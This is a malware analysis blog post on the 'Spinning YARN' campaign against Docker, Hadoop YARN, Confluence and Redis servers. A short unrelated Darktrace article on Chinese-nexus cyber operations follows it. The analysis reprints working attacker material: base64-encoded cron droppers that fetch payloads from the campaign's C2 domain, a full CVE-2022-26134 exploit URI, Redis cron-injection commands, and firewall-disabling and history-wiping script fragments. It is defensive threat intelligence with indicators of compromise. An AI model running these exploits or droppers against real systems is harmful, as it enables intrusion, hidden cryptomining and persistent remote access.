June 3, 2024

Spinning YARN: A New Linux Malware Campaign Targets Docker, Apache Hadoop, Redis and Confluence

Cado Security labs researchers (now part of Darktrace) encountered a Linux malware campaign, "Spinning YARN," that targets Docker, Apache Hadoop, Redis, and Confluence. This campaign exploits vulnerabilities in these widely used platforms to gain access.

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The Darktrace Community

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

The Darktrace Community

Jun 2024

Introduction: Linux malware campaign

Researchers from Cado Security Labs (now part of Darktrace) have encountered an emerging malware campaign targeting misconfigured servers running the following web-facing services:

Apache Hadoop YARN [1]
Docker‍
Confluence [2]
Redis

The campaign utilizes a number of unique and unreported payloads, including four Golang binaries, that serve as tools to automate the discovery and infection of hosts running the above services. The attackers leverage these tools to issue exploit code, taking advantage of common misconfigurations and exploiting an n-day vulnerability, to conduct Remote Code Execution (RCE) attacks and infect new hosts. 

Once initial access is achieved, a series of shell scripts and general Linux attack techniques are used to deliver a cryptocurrency miner, spawn a reverse shell and enable persistent access to the compromised hosts. 

As always, it’s worth stressing that without the capabilities of governments or law enforcement agencies, attribution is nearly impossible – particularly where shell script payloads are concerned. However, it’s worth noting that the shell script payloads delivered by this campaign bear resemblance to those seen in prior cloud attacks, including those attributed to TeamTNT and WatchDog, along with the Kiss a Dog campaign reported by Crowdstrike. [3] 

Summary:

Four novel Golang payloads have been discovered that automate the identification and exploitation of Docker, Hadoop YARN, Confluence and Redis hosts
Attackers deploy an exploit for CVE-2022-26134, an n-day vulnerability in Confluence which is used to conduct RCE attacks [4]
For the Docker compromise, the attackers spawn a container and escape from it onto the underlying host
The attackers also deploy an instance of the Platypus open-source reverse shell utility, to maintain access to the host [5]
Multiple user mode rootkits are deployed to hide malicious processes

Initial access

Cado Security Labs researchers first discovered this campaign after being alerted to a cluster of initial access activity on a Docker Engine API honeypot. A Docker command was received from the IP address 47[.]96[.]69[.]71 that spawned a new container, based on Alpine Linux, and created a bind mount for the underlying honeypot server’s root directory (/) to the mount point /mnt within the container itself. 

This technique is fairly common in Docker attacks, as it allows the attacker to write files to the underlying host. Typically, this is exploited to write out a job for the Cron scheduler to execute, essentially conducting a remote code execution (RCE) attack. 
In this particular campaign, the attacker exploits this exact method to write out an executable at the path /usr/bin/vurl, along with registering a Cron job to decode some base64-encoded shell commands and execute them on the fly by piping through bash.

Figure 1: Wireshark output demonstrating Docker communication, including Initial Access commands

The vurl executable consists solely of a simple shell script function, used to establish a TCP connection with the attacker’s Command and Control (C2) infrastructure via the /dev/tcp device file. The Cron jobs mentioned above then utilize the vurl executable to retrieve the first stage payload from the C2 server located at http[:]//b[.]9-9-8[.]com which, at the time of the attack, resolved to the IP 107[.]189[.]31[.]172.

‍

echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsICRACg== |base64 -d    

     \u003e/usr/bin/vurl \u0026\u0026 chmod +x /usr/bin/vurl;echo '* * * * * root echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d|bash|bash' \u003e/etc/crontab \u0026\u0026 echo '* * * * * root echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d|bash|bash' \u003e/etc/cron.d/zzh \u0026\u0026 echo KiAqICogKiAqIHJvb3QgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8vYi45XC05XC1cOC5jb20vdC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d \u003e\u003e/etc/crontab"

Payload retrieval commands written out to the Docker host

echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d 

    vurl http[:]//b[.]9-9-8[.]com/brysj/cronb.sh

Contents of first Cron job decoded

To provide redundancy in the event that the vurl payload retrieval method fails, the attackers write out an additional Cron job that attempts to use Python and the urllib2 library to retrieve another payload named t.sh.

KiAqICogKiAqIHJvb3QgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8vYi45XC05XC1cOC5jb20vdC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d 

    * * * * * root python -c "import urllib2; print urllib2.urlopen('http://b.9\-9\-\8.com/t.sh').read()" >.1;chmod +x .1;./.1

Contents of the second Cron job decoded

Unfortunately, Cado Security Labs researchers were unable to retrieve this additional payload. It is assumed that it serves a similar purpose to the cronb.sh script discussed in the next section, and is likely a variant that carries out the same attack without relying on vurl. 

It’s worth noting that based on the decoded commands above, t.sh appears to reside outside the web directory that the other files are served from. This could be a mistake on the part of the attacker, perhaps they neglected to include that fragment of the URL when writing the Cron job.

Primary payload: cronb.sh

cronb.sh is a fairly straightforward shell script, its capabilities can be summarized as follows:

Define the C2 domain (http[:]//b[.]9-9-8[.]com) and URL (http[:]//b[.]9-9-8[.]com/brysj) where additional payloads are located 
Check for the existence of the chattr utility and rename it to zzhcht at the path in which it resides
If chattr does not exist, install it via the e2fsprogs package using either the apt or yum package managers before performing the renaming described above
Determine whether the current user is root and retrieve the next payload based on this

... 
    if [ -x /bin/chattr ];then 
        mv /bin/chattr /bin/zzhcht 
    elif [ -x /usr/bin/chattr ];then 
        mv /usr/bin/chattr /usr/bin/zzhcht 
    elif [ -x /usr/bin/zzhcht ];then 
        export CHATTR=/usr/bin/zzhcht 
    elif [ -x /bin/zzhcht ];then 
        export CHATTR=/bin/zzhcht 
    else  
       if [ $(command -v yum) ];then  
            yum -y reinstall e2fsprogs 
            if [ -x /bin/chattr ];then 
               mv /bin/chattr /bin/zzhcht 
       elif [ -x /usr/bin/chattr ];then 
               mv /usr/bin/chattr /usr/bin/zzhcht 
            fi 
       else 
            apt-get -y reinstall e2fsprogs 
            if [ -x /bin/chattr ];then 
              mv /bin/chattr /bin/zzhcht 
      elif [ -x /usr/bin/chattr ];then 
              mv /usr/bin/chattr /usr/bin/zzhcht 
            fi 
       fi 
    fi 
    ...

Snippet of cronb.sh demonstrating chattr renaming code

ar.sh

This much longer shell script prepares the system for additional compromise, performs anti-forensics on the host and retrieves additional payloads, including XMRig and an attacker-generated script that continues the infection chain.

In a function named check_exist(), the malware uses netstat to determine whether connections to port 80 outbound are established. If an established connection to this port is discovered, the malware prints miner running to standard out. Later code suggests that the retrieved miner communicates with a mining pool on port 80, indicating that this is a check to determine whether the host has been previously compromised.

ar.sh will then proceed to install a number of utilities, including masscan, which is used for host discovery at a later stage in the attack. With this in place, the malware proceeds to run a number of common system weakening and anti-forensics commands. These include disabling firewalld and iptables, deleting shell history (via the HISTFILE environment variable), disabling SELinux and ensuring outbound DNS requests are successful by adding public DNS servers to /etc/resolv.conf.

Interestingly, ar.sh makes use of the shopt (shell options) built-in to prevent additional shell commands from the attacker’s session from being appended to the history file. [6] This is achieved with the following command:

shopt -ou history 2>/dev/null 1>/dev/null

Not only are additional commands prevented from being written to the history file, but the shopt command itself doesn’t appear in the shell history once a new session has been spawned. This is an effective anti-forensics technique for shell script malware, one that Cado Security Labs researchers have yet to see in other campaigns.

env_set(){ 
    iptables -F 
    systemctl stop firewalld 2>/dev/null 1>/dev/null 
    systemctl disable firewalld 2>/dev/null 1>/dev/null 
    service iptables stop 2>/dev/null 1>/dev/null 
    ulimit -n 65535 2>/dev/null 1>/dev/null 
    export LC_ALL=C  
    HISTCONTROL="ignorespace${HISTCONTROL:+:$HISTCONTROL}" 2>/dev/null 1>/dev/null 
    export HISTFILE=/dev/null 2>/dev/null 1>/dev/null 
    unset HISTFILE 2>/dev/null 1>/dev/null 
    shopt -ou history 2>/dev/null 1>/dev/null 
    set +o history 2>/dev/null 1>/dev/null 
    HISTSIZE=0 2>/dev/null 1>/dev/null 
    export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games 
    setenforce 0 2>/dev/null 1>/dev/null 
    echo SELINUX=disabled >/etc/selinux/config 2>/dev/null 
    sudo sysctl kernel.nmi_watchdog=0 
    sysctl kernel.nmi_watchdog=0 
    echo '0' >/proc/sys/kernel/nmi_watchdog 
    echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf 
    grep -q 8.8.8.8 /etc/resolv.conf || ${CHATTR} -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.8.8" >> /etc/resolv.conf; 
    grep -q 114.114.114.114 /etc/resolv.conf || ${CHATTR} -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.4.4" >> /etc/resolv.conf; 
    }

System weakening commands from ar.sh – env_set() function

Following the above techniques, ar.sh will proceed to install the libprocesshider and diamorphine user mode rootkits and use these to hide their malicious processes [7][8]. The rootkits are retrieved from the attacker’s C2 server and compiled on delivery. The use of both libprocesshider and diamorphine is particularly common in cloud malware campaigns and was most recently exhibited by a Redis miner discovered by Cado Security Labs in February 2024. [9].

Additional system weakening code in ar.sh focuses on uninstalling monitoring agents for Alibaba Cloud and Tencent, suggesting some targeting of these cloud environments in particular. Targeting of these East Asian cloud providers has been observed previously in campaigns by the threat actor WatchDog [10].

Other notable capabilities of ar.sh include: 

Insertion of an attacker-controlled SSH key, to maintain access to the compromised host
Retrieval of the miner binary (a fork of XMRig), this is saved to /var/tmp/.11/sshd
Retrieval of bioset, an open source Golang reverse shell utility, named Platypus, saved to /var/tmp/.11/bioset [5]
The bioset payload was intended to communicate with an additional C2 server located at 209[.]141[.]37[.]110:14447, communication with this host was unsuccessful at the time of analysis
Registering persistence in the form of systemd services for both bioset and the miner itself
Discovery of SSH keys and related IPs
The script also attempts to spread the cronb.sh malware to these discovered IPs via a SSH remote command
Retrieval and execution of a binary executable named fkoths (discussed in a later section)

... 
            ${CHATTR} -ia /etc/systemd/system/sshm.service && rm -f /etc/systemd/system/sshm.service 
    cat >/tmp/ext4.service << EOLB 
    [Unit] 
    Description=crypto system service 
    After=network.target 
    [Service] 
    Type=forking 
    GuessMainPID=no 
    ExecStart=/var/tmp/.11/sshd 
    WorkingDirectory=/var/tmp/.11 
    Restart=always 
    Nice=0  
    RestartSec=3 
    [Install] 
    WantedBy=multi-user.target 
    EOLB 
    fi 
    grep -q '/var/tmp/.11/bioset' /etc/systemd/system/sshb.service 
    if [ $? -eq 0 ] 
    then  
            echo service exist 
    else 
            ${CHATTR} -ia /etc/systemd/system/sshb.service && rm -f /etc/systemd/system/sshb.service 
    cat >/tmp/ext3.service << EOLB 
    [Unit] 
    Description=rshell system service 
    After=network.target 
    [Service] 
    Type=forking 
    GuessMainPID=no 
    ExecStart=/var/tmp/.11/bioset 
    WorkingDirectory=/var/tmp/.11 
    Restart=always 
    Nice=0  
    RestartSec=3 
    [Install] 
    WantedBy=multi-user.target 
    EOLB 
    fi 
    ...

Examples of systemd service creation code for the miner and bioset binaries

Finally, ar.sh creates an infection marker on the host in the form of a simple text file located at /var/tmp/.dog. The script first checks that the /var/tmp/.dog file exists. If it doesn’t, the file is created and the string lockfile is echoed into it. This serves as a useful detection mechanism to determine whether a host has been compromised by this campaign. 

Finally, ar.sh concludes by retrieving s.sh from the C2 server, using the vurl function once again.

fkoths

This payload is the first of several 64-bit Golang ELFs deployed by the malware. The functionality of this executable is incredibly straightforward. Besides main(), it contains two additional functions named DeleteImagesByRepo() and AddEntryToHost(). 

DeleteImagesByRepo() simply searches for Docker images from the Ubuntu or Alpine repositories, and deletes those if found. Go’s heavy use of the stack makes it somewhat difficult to determine which repositories the attackers were targeting based on static analysis alone. Fortunately, this becomes evident when monitoring the stack in a debugger.

Figure 2: Example stack contents when DeleteImagesByRepo() is called

It’s clear from the initial access stage that the attackers leverage the alpine:latest image to initiate their attack on the host. Based on this, it’s been assessed with high confidence that the purpose of this function is to clear up any evidence of this initial access, essentially performing anti-forensics on the host. 

The AddEntryToHost() function, as the name suggests, updates the /etc/hosts file with the following line:

127.0.0.1 registry-1.docker.io

This has the effect of “blackholing” outbound requests to the Docker registry, preventing additional container images from being pulled from Dockerhub. This same technique was observed recently by Cado Security Labs researchers in the Commando Cat campaign [11].

s.sh

The next stage in the infection chain is the execution of yet another shell script, this time used to download additional binary payloads and persist them on the host. Like the scripts before it, s.sh begins by defining the C2 domain (http[:]//b[.]9-9-8[.]com), using a base64-encoded string. The malware then proceeds to create the following directory structure and changing directory into it: /etc/…/.ice-unix/. 

Within the .ice-unix directory, the attacker creates another infection marker on the host, this time in a file named .watch. If the file doesn’t already exist, the script will create it and echo the integer 1 into it. Once again, this serves as a useful detection mechanism for determining whether your host has been compromised by this campaign.

With this in place, the malware proceeds to install a number of packages via the apt or yum package managers. Notable packages include:

build-essential
gcc
redis-server
redis-tools
redis
unhide
masscan
docker.io
libpcap (a dependency of pnscan)

From this, it is believed that the attacker intends to compile some code on delivery, interact with Redis, conduct Internet scanning with masscan and interact with Docker. 

With the package installation complete, s.sh proceeds to retrieve zgrab and pnscan from the C2 server, these are used for host discovery in a later stage. The script then proceeds to retrieve the following executables:

c.sh – saved as /etc/.httpd/.../httpd
d.sh – saved as /var/.httpd/.../httpd
w.sh – saved as /var/.httpd/..../httpd
h.sh – saved as var/.httpd/...../httpd

s.sh then proceeds to define systemd services to persistently launch the retrieved executables, before saving them to the following paths:

/etc/systemd/system/zzhr.service (c.sh)
/etc/systemd/system/zzhd.service (d.sh)
/etc/systemd/system/zzhw.service (w.sh)
/etc/systemd/system/zzhh.service (h.sh)

‍

... 
    if [ ! -f /var/.httpd/...../httpd ];then 
        vurl $domain/d/h.sh > httpd 
        chmod a+x httpd 
        echo "FUCK chmod2" 
        ls -al /var/.httpd/..... 
    fi 
    cat >/tmp/h.service <<EOL 
    [Service] 
    LimitNOFILE=65535 
    ExecStart=/var/.httpd/...../httpd 
    WorkingDirectory=/var/.httpd/..... 
    Restart=always  
    RestartSec=30 
    [Install] 
    WantedBy=default.target 
    EOL 
    ...

Example of payload retrieval and service creation code for the h.sh payload

Initial access and spreader utilities: h.sh, d.sh, c.sh, w.sh

In the previous stage, the attacker retrieves and attempts to persist the payloads c.sh, d.sh, w.sh and h.sh. These executables are dedicated to identifying and exploiting hosts running each of the four services mentioned previously. 

Despite their names, all of these payloads are 64-bit Golang ELF binaries. Interestingly, the malware developer neglected to strip the binaries, leaving DWARF debug information intact. There has been no effort made to obfuscate strings or other sensitive data within the binaries either, making them trivial to reverse engineer. 

The purpose of these payloads is to use masscan or pnscan (compiled on delivery in an earlier stage) to scan a randomized network segment and search for hosts with ports 2375, 8088, 8090 or 6379 open. These are default ports used by the Docker Engine API, Apache Hadoop YARN, Confluence and Redis respectively. 

h.sh, d.sh and w.sh contain identical functions to generate a list of IPs to scan and hunt for these services. First, the Golang time_Now() function is called to provide a seed for a random number generator. This is passed to a function generateRandomOctets() that’s used to define a randomised /8 network prefix to scan. Example values include:

109.0.0.0/8
84.0.0.0/8
104.0.0.0/8
168.0.0.0/8
3.0.0.0/8
68.0.0.0/8

For each randomized octet, masscan is invoked and the resulting IPs are written out to the file scan_<octet>.0.0.0_8.txt in the working directory. 

d.sh

disassembly demonstrating use of os/exec to run massan — Figure 3: Disassembly demonstrating use of os/exec to run masscan

For d.sh, this procedure is used to identify hosts with the default Docker Engine API port (2375) open. The full masscan command is as follows:

masscan <octet>.0.0.0/8 -p 2375 –rate 10000 -oL scan_<octet>.0.0.0_8.txt

The masscan output file is then read and the list of IPs is converted into a format readable by zgrab, before being written out to the file ips_for_zgrab_<octet>.txt [12].

For d.sh, zgrab will read these IPs and issue a HTTP GET request to the /v1.16/version endpoint of the Docker Engine API. The zgrab command in its entirety is as follows:

zgrab --senders 5000 --port=2375 --http='/v1.16/version' --output-file=zgrab_output_<octet>.0.0.0_8.json`  < ips_for_zgrab_<octet>.txt 2>/dev/null

Successful responses to this HTTP request let the attacker know that Docker Engine is indeed running on port 2375 for the IP in question. The list of IPs to have responded successfully is then written out to zgrab_output_<octet>.0.0.0_8.json. 

Next, the payload calls a function helpfully named executeDockerCommand() for each of the IPs discovered by zgrab. As the name suggests, this function executes the Docker command covered in the Initial Access section above, kickstarting the infection chain on a new vulnerable host. 

Figure 4: Decompiler output demonstrating Docker command construction routine

h.sh

This payload contains identical logic for the randomized octet generation and follows the same procedure of using masscan and zgrab to identify targets. The main difference in this payload’s discovery phase is the targeting of Apache Hadoop servers, rather than Docker Engine deployments. As a result, the masscan and zgrab commands are slightly different:

masscan <octet>.0.0.0/8 -p 8088 –rate 10000 -oL scan_<octet>.0.0.0_8.txt

zgrab --senders 1000 --port=8088 --http='/stacks' --output-file=zgrab_output_<octet>.0.0.0_8.json` < ips_for_zgrab_<octet>.txt 2>/dev/null

From this, we can determine that d.sh is a Docker discovery and initial access tool, whereas h.sh is an Apache Hadoop discovery and initial access tool. 

Instead of invoking the executeDockerCommand() function, this payload instead invokes a function named executeYARNCommand() to handle the interaction with Hadoop. Similar to the Docker API interaction described previously, the purpose of this is to target Apache Hadoop YARN, a component of Hadoop that is responsible for scheduling tasks within the cluster [1].

If the YARN API is exposed to the open Internet, it’s possible to conduct a RCE attack by sending a JSON payload in a HTTP POST request to the /ws/v1/cluster/apps/ endpoint. This method of conducting RCE has been leveraged previously to deliver cloud-focused malware campaigns, such as Kinsing [13].

Example of YARN HTTP POST generation pseudocode in h.sh — Figure 5: Example of YARN HTTP POST generation pseudocode in h.sh

The POST request contains a JSON body with the same base64-encoded initial access command we covered previously. The JSON payload defines a new application (task to be scheduled, in this case a shell command) with the name new-application. This shell command decodes the base64 payload that defines vurl and retrieves the first stage of the infection chain. 

Success in executing this command kicks off the infection once again on a Hadoop host, allowing the attackers persistent access and the ability to run their XMRig miner.

w.sh 

This executable repeats the discovery procedure outlined in the previous two initial access/discovery payloads, except this time the target port is changed to 8090 – the default port used by Confluence. [2]

For each IP discovered, the malware uses zgrab to issue a HTTP GET request to the root directory of the server. This request includes a URI containing an exploit for CVE-2022-26134, a vulnerability in the Confluence server that allows attackers to conduct RCE attacks. [4]

As you might expect, this RCE is once again used to execute the base64-encoded initial access command mentioned previously.

Figure 6: Decompiler output displaying CVE-2022-26134 exploit code

Without URL encoding, the full URI appears as follows:

/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gK|base64 -d|bash').start()")}/

c.sh 

This final payload is dedicated to exploiting misconfigured Redis deployments. Of course, targeting of Redis is incredibly common amongst cloud-focused threat actors, making it unsurprising that Redis would be included as one of the four services targeted by this campaign [9].

This sample includes a slightly different discovery procedure from the previous three. Instead of using a combination of zgrab and masscan to identify targets, c.sh opts to execute pnscan across a range of randomly-generated IP addresses. 

After execution, the malware sets the maximum number of open files to 5000 via the setrlimit() syscall, before proceeding to delete a file named .dat in the current working directory, if it exists. If the file doesn’t exist, the malware creates it and writes the following redis-cli commands to it, in preparation for execution on identified Redis hosts:

save 
    config set stop-writes-on-bgsave-error no 
    flushall 
    set backup1 "\n\n\n\n*/2 * * * * echo Y2QxIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai9iLnNoCg==|base64 -d|bash|bash \n\n\n" 
    set backup2 "\n\n\n\n*/3 * * * * echo d2dldCAtcSAtTy0gaHR0cDovL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup3 "\n\n\n\n*/4 * * * * echo Y3VybCBodHRwOi8vL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup4 "\n\n\n\n@hourly  python -c \"import urllib2; print urllib2.urlopen(\'http://b.9\-9\-8\.com/t.sh\').read()\" >.1;chmod +x .1;./.1 \n\n\n" 
    config set dir "/var/spool/cron/" 
    config set dbfilename "root" 
    save 
    config set dir "/var/spool/cron/crontabs" 
    save 
    flushall 
    set backup1 "\n\n\n\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai9iLnNoCg==|base64 -d|bash|bash \n\n\n" 
    set backup2 "\n\n\n\n*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup3 "\n\n\n\n*/4 * * * * root echo Y3VybCBodHRwOi8vL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup4 "\n\n\n\n@hourly  python -c \"import urllib2; print urllib2.urlopen(\'http://b.9\-9\-8\.com/t.sh\').read()\" >.1;chmod +x .1;./.1 \n\n\n" 
    config set dir "/etc/cron.d" 
    config set dbfilename "zzh" 
    save 
    config set dir "/etc/" 
    config set dbfilename "crontab" 
    save

This achieves RCE on infected hosts, by writing a Cron job including shell commands to retrieve the cronb.sh payload to the database, before saving the database file to one of the Cron directories. When this file is read by the scheduler, the database file is parsed for the Cron job, and the job itself is eventually executed. This is a common Redis exploitation technique, covered extensively by Cado in previous blogs [9].

After running the random octet generation code described previously, the malware then uses pnscan to attempt to scan the randomized /16 subnet and identify misconfigured Redis servers. The pnscan command is as follows:

/usr/local/bin/pnscan -t512 -R 6f 73 3a 4c 69 6e 75 78 -W 2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a 221.0.0.0/16 6379

The -t argument enforces a timeout of 512 milliseconds for outbound connections
The -R argument looks for a specific hex-encoded response from the target server, in this case s:Linux (note that this is likely intended to be os:Linux)
The -W argument is a hex-encoded request string to send to the server. This runs the command 1; $4; info against the Redis host, prompting it to return the banner info searched for with the -R argument

pnsan command construction and execution — Figure 7: Disassembly demonstrating pnscan command construction and execution

For each identified IP, the following Redis command is run:

redis-cli -h <IP address> -p <port> –raw <content of .dat>

Of course, this has the effect of reading the redis-cli commands in the .dat file and executing them on discovered hosts.

Conclusion

This extensive attack demonstrates the variety in initial access techniques available to cloud and Linux malware developers. Attackers are investing significant time into understanding the types of web-facing services deployed in cloud environments, keeping abreast of reported vulnerabilities in those services and using this knowledge to gain a foothold in target environments. 

Docker Engine API endpoints are frequently targeted for initial access. In the first quarter of 2024 alone, Cado Security Labs researchers have identified three new malware campaigns exploiting Docker for initial access, including this one. [11, 14] The deployment of an n-day vulnerability against Confluence also demonstrates a willingness to weaponize security research for nefarious purposes.

Although it’s not the first time Apache Hadoop has been targeted, it’s interesting to note that attackers still find the big data framework a lucrative target. It’s unclear whether the decision to target Hadoop in addition to Docker is based on the attacker’s experience or knowledge of the target environment.

Indicators of compromise

Filename SHA256

cronb.sh d4508f8e722f2f3ddd49023e7689d8c65389f65c871ef12e3a6635bbaeb7eb6e

ar.sh 64d8f887e33781bb814eaefa98dd64368da9a8d38bd9da4a76f04a23b6eb9de5

fkoths afddbaec28b040bcbaa13decdc03c1b994d57de244befbdf2de9fe975cae50c4

s.sh 251501255693122e818cadc28ced1ddb0e6bf4a720fd36dbb39bc7dedface8e5

bioset 0c7579294124ddc32775d7cf6b28af21b908123e9ea6ec2d6af01a948caf8b87

d.sh 0c3fe24490cc86e332095ef66fe455d17f859e070cb41cbe67d2a9efe93d7ce5

h.sh d45aca9ee44e1e510e951033f7ac72c137fc90129a7d5cd383296b6bd1e3ddb5

w.sh e71975a72f93b134476c8183051fee827ea509b4e888e19d551a8ced6087e15c

c.sh 5a816806784f9ae4cb1564a3e07e5b5ef0aa3d568bd3d2af9bc1a0937841d174

Paths

/usr/bin/vurl

/etc/cron.d/zzh

/bin/zzhcht

/usr/bin/zzhcht

/var/tmp/.11/sshd

/var/tmp/.11/bioset

/var/tmp/.11/..lph

/var/tmp/.dog

/etc/systemd/system/sshm.service

/etc/systemd/system/sshb.service

/etc/systemd/system/zzhr.service

/etc/systemd/system/zzhd.service

/etc/systemd/system/zzhw.service

/etc/systemd/system/zzhh.service

/etc/…/.ice-unix/

/etc/…/.ice-unix/.watch

/etc/.httpd/…/httpd

/var/.httpd/…./httpd

/var/.httpd/…../httpd

IP addresses

47[.]96[.]69[.]71

107[.]189[.]31[.]172

209[.]141[.]37[.]110

Domains/URLs

http[:]//b[.]9-9-8[.]com

http[:]//b[.]9-9-8[.]com/brysj/cronb.sh

http[:]//b[.]9-9-8[.]com/brysj/d/ar.sh

http[:]//b[.]9-9-8[.]com/brysj/d/c.sh

http[:]//b[.]9-9-8[.]com/brysj/d/h.sh

http[:]//b[.]9-9-8[.]com/brysj/d/d.sh

http[:]//b[.]9-9-8[.]com/brysj/d/enbio.tar

References:

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April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience

Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.

What the data shows

Several clear trends emerged from the analysis:

Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.
Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.
Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.

